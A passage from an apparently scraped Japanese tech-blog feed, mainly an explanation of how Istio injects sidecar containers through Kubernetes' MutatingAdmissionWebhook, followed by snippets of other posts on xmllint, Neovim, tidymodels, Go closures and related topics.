が稼働するデータプレーンサイドカーを中央集権的に管理するIstiod (discoveryコンテナ) が稼働するコントロールプレーンからなります。Istio / Architecture03. admission-controllersアドオンについてadmission-controllersアドオンとはIstioのPod内へのサイドカーインジェクションの前提知識として、admission-controllersアドオンを理解する必要があります。もし、admission-controllersアドオンをご存知の方は、 04. サイドカーインジェクションの仕組み まで飛ばしてください\uD83D\uDE47\uD83C\uDFFB‍kube-apiserverでは、admission-controllersアドオンを有効化できます。有効化すると、認証ステップと認可ステップの後にmutating-admissionステップとvalidating-admissionステップを実行でき、admissionプラグインの種類に応じた処理を挿入できます。クライアント (kubectlクライアント、Kubernetesリソース) からのリクエスト (例:Kubernetesリソースに対する作成/更新/削除、kube-apiserverからのプロキシへの転送) 時に、各ステップでadmissionプラグインによる処理 (例:アドオンビルトイン処理、独自処理) を発火させられます。Admission Controllers Reference | KubernetesKubernetes Best Practices: Blueprints for Building Successful Applications on Kubernetesadmissionプラグインの種類admission-controllersアドオンのadmissionプラグインには、たくさんの種類があります。IstioがPod内にサイドカーをインジェクションする時に使用しているアドオンは、『MutatingAdmissionWebhook』です。CertificateApprovalCertificateSigningCertificateSubjectRestrictionDefaultIngressClassDefaultStorageClassDefaultTolerationSecondsLimitRanger\\"MutatingAdmissionWebhook\\" \uD83D\uDC48 これNamespaceLifecyclePersistentVolumeClaimResizePodSecurityPriorityResourceQuotaRuntimeClassServiceAccountStorageObjectInUseProtectionTaintNodesByConditionValidatingAdmissionWebhookAdmission Controllers Reference | KubernetesMutatingAdmissionWebhookプラグインMutatingAdmissionWebhookプラグインとはMutatingAdmissionWebhookプラグインを使用すると、mutating-admissionステップ時に、リクエスト内容を変更する処理をフックできます。フックする具体的な処理として、webhookサーバーにAdmissionRequestリクエストとして送信することにより、レスポンスのAdmissionResponseに応じてリクエスト内容を動的に変更します。MutatingWebhookConfigurationで、MutatingAdmissionWebhookプラグインの発火条件やwebhookサーバーの宛先情報を設定します。MutatingWebhookConfigurationの具体的な実装については、サイドカーインジェクションの仕組みの中で説明していきます。Diving into Kubernetes MutatingAdmissionWebhook | by Morven Cao | IBM Cloud | MediumKubernetes Admission Webhook覚書き - gashirar\'s blogAdmission Webhookを作って遊んで、その仕組みを理解しよう(説明編)AdmissionReview、AdmissionRequest、AdmissionResponse▼ AdmissionReviewAdmissionReviewは以下のようなJSONであり、kube-apiserverとwebhookサーバーの間でAdmissionRequestとAdmissionResponseを運びます。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": {}, # AdmissionResponse \\"response\\": {},}v1 package - k8s.io/api/admission/v1 - Go Packages▼ AdmissionRequestAdmissionRequestは以下のようなJSONです。kube-apiserverがクライアントから受信した操作内容が持つことがわかります。例で挙げたAdmissionRequestでは、クライアントがDeploymentをCREATE操作するリクエストをkube-apiserverに送信したことがわかります。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": { ... # 変更されるKubernetesリソースの種類を表す。 \\"resource\\": { \\"group\\": \\"apps\\", \\"version\\": \\"v1\\", \\"resource\\": \\"deployments\\" }, # kube-apiserverの操作の種類を表す。 \\"operation\\": \\"CREATE\\", ... }}Dynamic Admission Control | Kubernetes▼ AdmissionResponse一方でAdmissionResponseは、例えば以下のようなJSONです。AdmissionResponseは、マニフェスト変更処理をpatchキーの値に持ち、これはbase64方式でエンコードされています。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionResponse \\"response\\": { \\"uid\\": \\"\\", # 宛先のwebhookサーバーが受信したか否かを表す。 \\"allowed\\": true, # PathによるPatch処理を行う。 \\"patchType\\": \\"JSONPatch\\", # Patch処理の対象となるKubernetesリソースと処理内容を表す。base64方式でエンコードされている。 \\"patch\\": \\"W3sib3AiOiAiYWRkIiwgInBhdGgiOiAiL3NwZWMvcmVwbGljYXMiLCAidmFsdWUiOiAzfV0=\\", },}エンコード値をデコードしてみると、例えば以下のようなpatch処理が定義されています。# patchキーをbase64方式でデコードした場合[{\\"op\\": \\"add\\", \\"path\\": \\"/spec/replicas\\", \\"value\\": 3}]マニフェストに対する操作 (op) 、キー (path) 、値 (value) が設定されています。kube-apiserverがこれを受信すると、指定されたキー (.spec.replicas) に値 (3) に追加します。Dynamic Admission Control | Kubernetes04. サイドカーインジェクションの仕組み全体のフロー前提知識を踏まえた上で、admission-controllersアドオンの仕組みの中で、サイドカーのistio-proxyコンテナがどのようにPodにインジェクションされるのかを見ていきましょう。最初に、サイドカーインジェクションのフローは以下の通りになっています。(画像はタブ開き閲覧を推奨)Istio in Action (English Edition)クライアント ➡︎ kube-apiserverここで説明するフロー箇所『クライアント ➡︎ kube-apiserver』の箇所を説明します。(画像はタブ開き閲覧を推奨)(1) Podの作成をリクエストまずは、クライアントがkube-apiserverにリクエストを送信するところです。クライアント (Deployment、DaemonSet、StatefulSet、を含む) は、Podの作成リクエストをkube-apiserverに送信します。この時のリクエスト内容は、以下の通りとします。# Podを作成する。$ kubectl apply -f foo-pod.yaml# foo-pod.yamlファイルapiVersion: v1kind: Podmetadata: name: foo-pod namespace: foo-namespacespec: containers: - name: foo image: foo:1.0.0 ports: - containerPort: 80またNamespaceでは、あらかじめistio-proxyコンテナのインジェクションが有効化されているとします。Istioではv1.10以降、リビジョンの番号のエイリアスを使用して、istio-proxyコンテナのインジェクションを有効化するようになりました。apiVersion: v1kind: Namespacemetadata: name: foo-namespace labels: # istio-proxyコンテナのインジェクションを有効化する。 # エイリアスは自由 istio.io/rev: <エイリアス>Istio / Announcing Support for 1.8 to 1.10 Direct Upgrades▶ istio.io/revラベル値のエイリアスについてistio.io/revラベル値は、どんなエイリアスでもよいです。よくあるエイリアスとしてdefaultやstableを使用します\uD83D\uDC4Dkube-apiserver ➡︎ Serviceここで説明するフロー箇所『kube-apiserver ➡︎ Service』の箇所を説明します。(画像はタブ開き閲覧を推奨)(2) 認証/認可処理をコールkube-apiserverは、認証ステップと認可ステップにて、クライアントからのリクエストを許可します。(3) アドオンの処理をコールkube-apiserverは、mutating-admissionステップにて、MutatingAdmissionWebhookプラグインの処理をコールします。前提知識の部分で具体的な実装を省略しましたが、Istioのバージョン1.14.3時点で、MutatingWebhookConfigurationは以下のようになっています。Namespaceでサイドカーインジェクションを有効化する時に使用したエイリアスは、このMutatingWebhookConfigurationで実体のリビジョン番号と紐づいています。$ kubectl get mutatingwebhookconfiguration istio-revision-tag-default -o yamlapiVersion: admissionregistration.k8s.io/v1beta1kind: MutatingWebhookConfigurationmetadata: name: istio-revision-tag-default labels: app: sidecar-injector # エイリアスの実体 istio.io/rev: <リビジョン番号> # リビジョン番号のエイリアス istio.io/tag: <エイリアス>webhooks: - name: rev.namespace.sidecar-injector.istio.io # MutatingAdmissionWebhookプラグインの処理の発火条件を登録する。 rules: - apiGroups: [\\"\\"] apiVersions: [\\"v1\\"] operations: [\\"CREATE\\"] resources: [\\"pods\\"] scope: \\"*\\" # Webhookの前段にあるServiceの情報を登録する。 clientConfig: service: name: istiod-<リビジョン番号> namespace: istio-system path: \\"/inject\\" # エンドポイント port: 443 caBundle: Ci0tLS0tQk ... # Namespace単位のサイドカーインジェクション # 特定のNamespaceでMutatingAdmissionWebhookプラグインの処理を発火させる。 namespaceSelector: matchExpressions: - key: istio.io/rev operator: DoesNotExist - key: istio-injection operator: DoesNotExist # Pod単位のサイドカーインジェクション # 特定のオブジェクトでMutatingAdmissionWebhookプラグインの処理を発火させる。 objectSelector: matchExpressions: - key: sidecar.istio.io/inject operator: NotIn values: - \\"false\\" - key: istio.io/rev operator: In values: - <エイリアス> ...MutatingWebhookConfigurationには、MutatingAdmissionWebhookプラグインの発火条件やwebhookサーバーの宛先情報を定義します。MutatingAdmissionWebhookプラグインの発火条件に関して、例えばIstioでは、 NamespaceやPod.metadata.labelsキーに応じてサイドカーインジェクションの有効化/無効化を切り替えることができ、これをMutatingAdmissionWebhookプラグインで制御しています。webhookサーバーの宛先情報に関して、Istioではwebhookサーバーの前段にServiceを配置しています。MutatingAdmissionWebhookプラグインが発火した場合、Serviceの/inject:443にHTTPSプロトコルのリクエストを送信するようになっています。また、宛先のServiceの名前がistiod-<リビジョン番号>となっていることからもわかるように、Serviceは特定のバージョンのIstiodコントロールプレーンに対応しており、想定外のバージョンのIstiodコントロールプレーンを指定しないように制御しています。一方で発火しなかった場合には、以降のAdmissionReviewの処理には進みません。(4) AdmissionRequestに値を詰めるkube-apiserverは、mutating-admissionステップにて、クライアントからのリクエスト内容 (Podの作成リクエスト) をAdmissionReveiew構造体のAdmissionRequestに詰めます。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionRequest \\"request\\": { ... # 変更されるKubernetesリソースの種類を表す。 \\"resource\\": { \\"group\\": \\"core\\", \\"version\\": \\"v1\\", \\"resource\\": \\"pods\\" }, # kube-apiserverの操作の種類を表す。 \\"operation\\": \\"CREATE\\", ... }}(5) AdmissionReviewを送信kube-apiserverは、mutating-admissionステップにて、Serviceの/inject:443にAdmissionReview構造体を送信します。Service ➡︎ webhookサーバーここで説明するフロー箇所『Service ➡︎ webhookサーバー』の箇所を説明します。(画像はタブ開き閲覧を推奨)(6) 15017番ポートにポートフォワーディングServiceは、/inject:443でリクエストを受信し、discoveryコンテナの15017番ポートにポートフォワーディングします。Istioのバージョン1.14.3時点で、Serviceは以下のようになっています。$ kubectl get svc istiod-service -n istio-system -o yamlapiVersion: v1kind: Servicemetadata: labels: app: istiod name: istiod-<リビジョン番号> namespace: istio-systemspec: type: ClusterIP selector: app: istiod istio.io/rev: <リビジョン番号> ports: - name: grpc-xds port: 15010 protocol: TCP targetPort: 15010 - name: https-dns port: 15012 protocol: TCP targetPort: 15012 # webhookサーバーにポートフォワーディングする。 - name: https-webhook port: 443 protocol: TCP targetPort: 15017 - name: http-monitoring port: 15014 protocol: TCP targetPort: 15014.spec.selector.istio.io/revキーに、ポートフォワーディング先のPodを指定するためのリビジョン番号が設定されており、このPodはdiscoveryコンテナを持ちます。Istioは、discoveryコンテナ内でwebhookサーバーを実行し、15017番ポートでリクエストを待ち受けます。▶ istio.io/rev`discovery`コンテナの待ち受けポートについてdiscoveryコンテナがリクエストを待ち受けているポート番号を見てみると、15017番ポートでリッスンしていることを確認できます\uD83D\uDC4D$ kubectl exec foo-istiod -n istio-system -- netstat -tulpnActive Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0 127.0.0.1:9876 0.0.0.0:* LISTEN 1/pilot-discoverytcp6 0 0 :::15017 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::8080 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15010 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15012 :::* LISTEN 1/pilot-discoverytcp6 0 0 :::15014 :::* LISTEN 1/pilot-discovery> - istio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHub> - https://istio.io/latest/docs/ops/deployment/requirements/#ports-used-by-istiokube-apiserver ⬅︎ Service ⬅︎ webhookサーバー (※逆向きの矢印)ここで説明するフロー箇所『kube-apiserver ⬅︎ Service ⬅︎ webhookサーバー』の箇所を説明します。矢印が逆向きなことに注意してください。(画像はタブ開き閲覧を推奨)(7) patch処理を定義仕組みの中でも、ここは重要な部分です。discoveryコンテナ内のwebhookサーバーは、リクエスト内容を書き換えるためのpatch処理を定義します。webhookサーバーは、マニフェストの.spec.containers[1]パスにistio-proxyキーを追加させるようなpatch処理を定義します。この定義によって、結果的にサイドカーのインジェクションが起こるということになります。[ ... { \\"op\\": \\"add\\", # .spec.initContainers[1] を指定する。 \\"path\\": \\"/spec/initContainers/1\\", # マニフェストに追加される構造を表す。 \\"value\\": { \\"name\\": \\"istio-init\\", \\"resources\\": { ... } } }, { \\"op\\": \\"add\\", # .spec.containers[1] を指定する。 \\"path\\": \\"/spec/containers/1\\", # マニフェストに追加される構造を表す。 \\"value\\": { \\"name\\": \\"istio-proxy\\", \\"resources\\": { ... } } } ...]istio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHubistio/pkg/kube/inject/webhook_test.go at 1.14.3 \xb7 istio/istio \xb7 GitHubこの時、サイドカーのテンプレートに割り当てられた値が、patch処理を内容を決めます。type SidecarTemplateData struct { TypeMeta metav1.TypeMeta DeploymentMeta metav1.ObjectMeta ObjectMeta metav1.ObjectMeta Spec corev1.PodSpec ProxyConfig *meshconfig.ProxyConfig MeshConfig *meshconfig.MeshConfig Values map[string]interface{} Revision string EstimatedConcurrency int ProxyImage string}...istio/pkg/kube/inject/inject.go at 1.14.3 \xb7 istio/istio \xb7 GitHub▶ patch処理でインジェクションするコンテナについてistio-proxyコンテナの他に、InitContainerのistio-initコンテナもインジェクション可能にします。このistio-initコンテナは、istio-proxyコンテナを持つPodです。インバウンド/アウトバウンド通信の経路を制御するために、Pod内にiptablesのルールを適用する責務を担っています\uD83D\uDCAA\uD83C\uDFFBIstio Sidecar\'s interception mechanism for traffic - SoByte(8) AdmissionResponseに値を詰めるdiscoveryコンテナ内のwebhookサーバーは、patch処理の定義をAdmissionReveiew構造体のAdmissionResponseに詰めます。patchキーの値に、先ほどのpatch処理の定義をbase64方式でエンコードした文字列が割り当てられています。{ \\"apiVersion\\": \\"admission.k8s.io/v1\\", \\"kind\\": \\"AdmissionReview\\", # AdmissionResponse \\"response\\": { \\"uid\\": \\"*****\\", \\"allowed\\": true, \\"patchType\\": \\"JSONPatch\\", # Patch処理の対象となるKubernetesリソースと処理内容を表す。base64方式でエンコードされている。 \\"patch\\": \\"<先ほどのpatch処理の定義をbase64方式でエンコードした文字列>\\", },}istio/pkg/kube/inject/webhook.go at 1.14.3 \xb7 istio/istio \xb7 GitHub(9) AdmissionReviewを返信discoveryコンテナ内のwebhookサーバーは、AdmissionReview構造体をレスポンスとしてkube-apiserverに返信します。kube-apiserver ➡︎ etcdここで説明するフロー箇所『kube-apiserver ➡︎ etcd』の箇所を説明します。(画像はタブ開き閲覧を推奨)(10) patch処理をコールkube-apiserverは、AdmissionReview構造体を受信し、AdmissionResponseに応じてリクエスト内容を書き換えます。patch処理の定義をAdmissionReview構造体から取り出し、クライアントからのリクエスト内容を書き換えます。具体的には、istio-proxyコンテナとistio-initコンテナを作成するために、リクエストしたマニフェストの該当箇所にキーを追加します。apiVersion: v1kind: Podmetadata: name: foo-pod namespace: foo-namespacespec: containers: - name: foo image: foo:1.0.0 ports: - containerPort: 80 # kube-apiserverが追加 - name: istio-proxy ... # kube-apiserverが追加 initContainers: - name: istio-init ...(11) マニフェストを永続化kube-apiserverは、etcdにPodのマニフェストを永続化します。クライアント ⬅︎ kube-apiserverここで説明するフロー箇所『クライアント ⬅︎ kube-apiserver』の箇所を説明します。(画像はタブ開き閲覧を推奨)(12) コール完了を返信kube-apiserverは、クライアントにレスポンスを受信します。$ kubectl apply -f foo-pod.yaml# kube-apiserverからレスポンスが返ってくるpod \\"foo-pod\\" created以降の仕組み(画像はタブ開き閲覧を推奨)kube-apiserverは、他のNodeコンポーネント (kube-controlleretcd、kube-scheduler、kubeletなど) と通信し、Podを作成します。このPodのマニフェストは、アプリコンテナの他に、istio-proxyコンテナとistio-initコンテナを持ちます。結果として、サイドカーコンテナのistio-proxyコンテナをインジェクションしたことになります。▶ kube-apiserverと他コンポーネントの通信についてKubernetes Master Components: Etcd, API Server, Controller Manager, and Scheduler | by Jorge Acetozi | jorgeacetozi | Medium05. おわりにサービスメッシュの登場とIstioのサイドカーインジェクションの仕組みをもりもり布教しました。Istioへの愛が溢れてしまいました。今回登場したMutatingAdmissionWebhookプラグインに関して、私の関わっているプロダクトではIstio以外 (例:CertManager、Prometheus、AWSのaws-eks-vpc-cniアドオンなど) でも使用しています✌️そのため、MutatingAdmissionWebhookプラグインをどのように使っているのかを一度知れば、知識の汎用性が高いと考えています。サイドカーインジェクションはIstioでも基本的な機能であり、もし未体験の方がいらっしゃれば、お手元でサイドカーコンテナが追加されることを確認していただくとよいかもしれません\uD83D\uDC4D記事関連のおすすめ書籍Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazonIstio: Up and Running: Using a Service Mesh to Connect, Secure, Control, and Observe作者:Calcote, Lee,Butcher, ZackO\'ReillyAmazon","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/01/14/223815","isoDate":"2023-01-14T13:38:15.000Z","dateMiliSeconds":1673703495000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"xmllint で HTML 内の任意の値を取り出す","contentSnippet":"サクッと shell script で HTML の中の何かを取り出したい時があります。 そんな時に使えるのが xmllint. しっかりやるなら python の Beautiful Soup を使ったりしますが、本当に簡単なことを簡","link":"https://blog.1q77.com/2023/01/xmllint-html-xpath/","isoDate":"2023-01-12T14:40:51.000Z","dateMiliSeconds":1673534451000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"chezmoiを使って管理しているdotfileのファイルタイプをNeovimにうまく認識させる","contentSnippet":"Neovimはファイルの名前や内容を元に、ファイルタイプを決定する機能を持っています。たとえば、拡張子が.shだったらシェルスクリプトだと判断できます。","link":"https://blog.atusy.net/2023/01/11/neovim-filetype-matching-with-chezmoi/","isoDate":"2023-01-11T00:00:00.000Z","dateMiliSeconds":1673395200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"tidymodelsでOne-hot Encodingする","contentSnippet":"きぬいとさんがtidyverseでOne-hot Encodingしているのを見ましたが、餅は餅屋でtidymodelsもいいよねという話。RでOne-hot Encodingをする with tidyverse","link":"https://blog.atusy.net/2023/01/06/tidymodels-one-hot-encoding/","isoDate":"2023-01-06T00:00:00.000Z","dateMiliSeconds":1672963200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ぼちぼちブログでもはじめます","contentSnippet":"もう新年始まって気づいたら4日目ですが、明けましておめでとうございます。アウトプットの場として2023年になり、気持ちを新たにして、なにか新しいことを始めようと思ったときに、前々からいつかやろうと思っていたブログを書くことに決めました。(いつかやろうを今やることは大事だと思う。)ここらへんで、一応、自己紹介しておきたいと思います。私は、現在、大学で情報理工学を学んでいて、ネットワークやセキュリティに興味を持っています。今までやってきたこととしては、B2のときに基本情報技術者試験、B3のときに応用情報技術者試験に合格し、他には、セキュリティ・ミニキャンプ オンライン・東京 に参加したり、Hack The Boxを少しずつやってきました。(秋学期になってからHTBはほとんど触れていないが…)他にも、いろんな勉強会にも参加してきました。今はオンラインで気軽に参加できるので。ブログを書こうかなと考えた理由は大きく3つありまして。1つ目は、セキュリティ・ミニキャンプのグループ活動でLT大会をしたときに、やっぱりアウトプットの場というのがあることで、より知識の定着につながることが実感できたからです。大学生になってからは、インプットがメインになっていてアウトプットの場がなかなかないため、どうアウトプットするのかというのは考える必要がありました。Twitterでもアウトプットはできるし、実際にそれを使っていましたが、文字数に制限があるため、正しく文章を書くには向いていません。(気楽にツイートできることがTwitterの良さではあるのですが。)2つ目は、自分の言語化能力の向上のためです。自分の頭には考えがあるのに、それをうまく伝えられなかったり、わかりにくい説明になっていたりしていたため、どうすればわかりやすく説明できるのかというのは前からの悩みでした。そこでいろいろ考えたときに自分の頭にあることを言語化するというのは、結構慣れの要素が大きいと思うため、経験を積むことが大事だという結論にいたり、それならば、早く始めた方がいいというのが、ブログを書くきっかけにもなっています。3つ目は、エンジニアになるなら、自分の技術力(今までどんなことをやってきたのか、私はどんなことができるのか)を証明するためにも技術ブログは書いておくといいということを聞くことが多いからです。今は、いきなり技術ブログを書くのは敷居が高いため、気楽に書けるこのHatena Blogでしか記事を書いていませんが、今年中には、QitaやZennの方に、技術系の記事を投稿していきたいと思っています。ブログを書く前に、Hatena Blogを使うかも結構迷っていて、自分で個人ブログサイトを作ろうかとも思ったのですが、そこに時間をかける前にさっさとブログを書き始めようということで、こちらを選択しました。そのため、今年中には、個人のブログサイトを作ってそちらに移行したいと思っています。(願望)このHatena Blogでは、月に1回は投稿していく予定です。内容としては、その月にやってきたこととか新たな発見があったこと、自分の書きたいことを勝手に発信していく感じで。ここであらかじめ宣言しておくことで、自分を追い込んでいくスタイル。(笑)技術的な話は、QiitaやZennの方に書くかもしれませんが、もしかしたら、こっちで書くかもしれません。全然考えていないため、そこら辺はこれから考えていきたいと思います。とりあえず、人生初めてのブログは、こんな感じで終わりたいと思います。近々、新年の抱負として、今年やりたいことを書きたいと思っています。","link":"https://moz-security.hatenablog.com/entry/2023/01/04/111143","isoDate":"2023-01-04T02:11:43.000Z","dateMiliSeconds":1672798303000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"Lima の vmType VZ と virtiofs を試す","contentSnippet":"Lima が version 0.14.0 で QEMU だけではなく macOS の Virtualization.Framework に対応していました。 vmtype という設定項目が増えています。 この新しい Framework では Host のディレクトリをマウントするのに virtiofs が使え","link":"https://blog.1q77.com/2022/12/lima-vz/","isoDate":"2022-12-29T15:49:47.000Z","dateMiliSeconds":1672328987000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"クロージャーのメモリ割り当てについて(Go言語)","contentSnippet":"A Tour of GoでGo言語に入門していて、クロージャーのメモリ割り当てについて疑問に思ったので調べた。クロージャーとはA Tour of Go での説明をまとめると、本体の外部から変数を参照する関数値関数は、参照した変数にアクセスして割り当てることができるという特徴がある。サンプルコードpackage mainimport \\"fmt\\"func adder() func() int { sum := 0 return func() int { sum++ return sum }}func main() { f := adder() for i := 0; i < 10; i++ { fmt.Println(f()) }}出力12345678910adder 関数はクロージャーを返し、各クロージャーは、sum 変数にバインドされている。疑問点サンプルコードではクロージャーが、adder関数で定義されたsum変数を参照、割り当てしてる。しかし、関数呼び出しといえばスタックフレームを用いるイメージしかない私にとっては、sum変数の参照がどこに残っているのか疑問。おそらくヒープ領域に割り当てられてる?GitHub issue でのやり取り調べたところ、同じ疑問に答えているissueを見つけた。質問者は、同じような処理をクロージャーを使用する場合と使用しない場合で試している。そして、クロージャーを使用した場合だとヒープ領域への割り当てが行われると言っている。実際のコードpackage mainimport ( \\"fmt\\" \\"sync\\" \\"testing\\")type Object struct {}var p sync.Pool = sync.Pool{ New: func() interface{} { return &Object{} },}type Func struct { ctx interface{}}func (this *Func) Run() { p.Put(this.ctx) }func RunWithFunc() Func { ctx := p.Get() return Func{ctx: ctx}}func RunWithClosure() func() { ctx := p.Get() return func() { p.Put(ctx) }}func Test1() { cleanup := RunWithFunc() cleanup.Run()}func Test2() { cleanup := RunWithClosure() cleanup()}func main() { f1 := testing.AllocsPerRun(1000, Test1) f2 := testing.AllocsPerRun(1000, Test2) // 0 fmt.Println(f1) // 1 fmt.Println(f2)}コードの詳しい内容は、クロージャーを使わないRunWithFuncと使用するRunWithClosureを実行する。どちらも大雑把に言うと、空の構造体をsync.Poolから取り出したり戻したりする。クロージャーを使うとヒープ領域への割り当てが行われることをtesting.AllocsPerRunが示す。といった感じ。回答者は以下のように言っている。問題は、RunWithClosure がクロージャーを返す必要があることです。関数が実行される前にスタック フレームがなくなるため、スタックに割り当てることができません。 可能な場合は、スタックにクロージャーを割り当てます。スタック上にクロージャ(これらの2つのフィールドの匿名構造体)を割り当て、呼び出された関数にそれらへのポインタを渡すことができますし、実際に行っています。ここでの問題は、その構造体がRunWithClosureの内部で割り当てられ、RunWithClosureのフレームは、cleanupを呼び出すまでになくなってしまうことです。そのため、RunWithClosureのフレームでクロージャを割り当てることはできません。それは、ヒープ上に割り当てられなければなりません。もし、RunWithClosureをその呼び出し元にインライン化すれば、そのスタック・フレームが十分に長く生きるので、呼び出し元でクロージャを割り当てることができるようになります。クロージャーが実行される前に、参照先をもつスタックフレームがなくなってしまう場合、それをヒープ領域に割り当てるらしい。またそれを避けたい場合は、関数になっている部分をインライン化するといいらしい。まとめGo言語に入門していて、クロージャーが参照している変数がどこに残っているか疑問に思ったが、GitHub issueのやり取りから、予想した通り、ヒープ領域への割り当てが行われていることがわかった。","link":"https://kechigon.hatenablog.com/entry/2022/12/29/203946","isoDate":"2022-12-29T11:39:46.000Z","dateMiliSeconds":1672313986000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"rbspy で ruby の stacktrace を flamegraph にする","contentSnippet":"中身をよく知らない Rails アプリでどこが遅いのかな?と思って rbspy (github) を試してみたのでメモ。 とりあえず使って flamegraph を書き出してみたんだけどそもそも flamegraph がどうい","link":"https://blog.1q77.com/2022/12/rbspy/","isoDate":"2022-12-28T11:26:10.000Z","dateMiliSeconds":1672226770000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Professional Cloud Security Engineer の振り返り","contentSnippet":"はじめに2022/12/28 に Google Cloud Certification の1つである、Professional Cloud Security Engineer に合格したので、そち…","link":"https://qiita.com/dirtymosschan/items/2c66eec7919220a4ec06","isoDate":"2022-12-28T08:57:17.000Z","dateMiliSeconds":1672217837000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"rticlesパッケージで作成する文書の参考文献の位置を変える","contentSnippet":"R Markdownの参考文献は通常では文書末尾に挿入されます。しかし、多くの場合は挿入場所を、以下の呪文を唱えた場所に変更できます。::: {#refs}:::これは、R Markdownの拡張元となっているMarkdown方言(Pandoc’s Markdown)の機能です。","link":"https://blog.atusy.net/2022/12/28/rticles-reference-location/","isoDate":"2022-12-28T00:00:00.000Z","dateMiliSeconds":1672185600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"go.mod の更新","contentSnippet":"たまに使い捨ての code を書いて放置する程度だと毎回ググってしまうのでメモ。 go.mod の更新は go get や go mod tidy で行うことができる。 go の version を更新 go.mod 内の go の version は次","link":"https://blog.1q77.com/2022/12/updage-go-mod/","isoDate":"2022-12-27T03:52:31.000Z","dateMiliSeconds":1672113151000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"rstudioapi::registerChunkCallbackが面白い","contentSnippet":"rstudioapiパッケージにはRStudioを操作する様々な関数があります。registerChunkCallbackという関数が面白かったのでちょっと実験しました。","link":"https://blog.atusy.net/2022/12/26/rstudioapi-registerchunkcallback/","isoDate":"2022-12-26T00:00:00.000Z","dateMiliSeconds":1672012800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【Istio⛵️】Istioのサービス間通信を実現するサービスディスカバリーの仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️サービスディスカバリーの種類についてIstioのサービス間通信を実現するサービスディスカバリーの仕組みについて記事のざっくりした内容は、以下のスライドからキャッチアップできちゃいます! この記事から得られる知識01. はじめに02. サービスディスカバリーについてマイクロサービスアーキテクチャにおけるサービスディスカバリーサービスディスカバリーとはなぜサービスディスカバリーが必要なのかサービスディスカバリーの要素サービスディスカバリーのパターンサービスディスカバリーのパターンとはサーバーサイドパターンクライアントサイドパターン03. Istioのサービスディスカバリーの仕組み全体像(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得(4) istio-proxyコンテナによるリクエスト受信(5) istio-proxyコンテナによるロードバランシングdiscoveryコンテナの仕組み(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得istio-proxyコンテナの仕組み(1) kube-apiserverによる宛先情報保管(2) discoveryコンテナによる宛先情報保管(3) istio-proxyコンテナによる宛先情報取得(4) istio-proxyコンテナによるリクエスト受信(5) istio-proxyコンテナによるリクエスト受信04. istio-proxyコンテナ内のEnvoyの仕組み全体像(1) 送信元マイクロサービスからリクエスト受信(2) Envoyによるリスナー選択(3) Envoyによるルート選択(4) Envoyによるクラスター選択(5) Envoyによるエンドポイント選択(6) 宛先マイクロサービスへのリクエスト送信EnvoyがADS-APIから取得した宛先情報を見てみようconfig_dumpエンドポイントリスナー▼ 確認方法▼ 結果ルート▼ 確認方法▼ 結果クラスター▼ 確認方法▼ 結果エンドポイント▼ 確認方法▼ 結果Envoyの処理の流れのまとめ(1) 送信元マイクロサービスからリクエスト受信(2) Envoyによるリスナー選択(3) Envoyによるルート選択(4) Envoyによるクラスター選択(5) Envoyによるクラスター選択(6) 宛先マイクロサービスへのリクエスト送信05. おわりに謝辞記事関連のおすすめ書籍01. はじめに推し (Istio) が尊い\uD83D\uDE4F\uD83D\uDE4F\uD83D\uDE4F3-shake Advent Calender 2022 最終日の記事です\uD83C\uDF85普段、私は 俺の技術ノート に知見を記録しており、はてなブログはデビュー戦となります。最近の業務で、オンプレとAWS上のIstio⛵️をひたすら子守りしています。今回は、子守りの前提知識の復習もかねて、Istioのサービス間通信を実現するサービスディスカバリーの仕組みを記事で解説しました。Istioの機能の1つであるサービスディスカバリーは、その仕組みの多くをEnvoyに頼っているため、合わせてEnvoyの仕組みも説明します。それでは、もりもり布教していきます\uD83D\uDE1702. サービスディスカバリーについてマイクロサービスアーキテクチャにおけるサービスディスカバリーサービスディスカバリーとは平易な言葉で言い換えると サービス間通信 です。マイクロサービスアーキテクチャでは、マイクロサービスからマイクロサービスにリクエストを送信する場面があります。サービスディスカバリーとは、宛先マイクロサービスの宛先情報 (例:IPアドレス、完全修飾ドメイン名など) を検出し、送信元マイクロサービスが宛先マイクロサービスにリクエストを継続的に送信可能にする仕組みのことです。なぜサービスディスカバリーが必要なのかそもそも、なぜサービスディスカバリーが必要なのでしょうか。マイクロサービスアーキテクチャでは、システムの信頼性 (定められた条件下で定められた期間にわたり、障害を発生させることなく実行する程度) 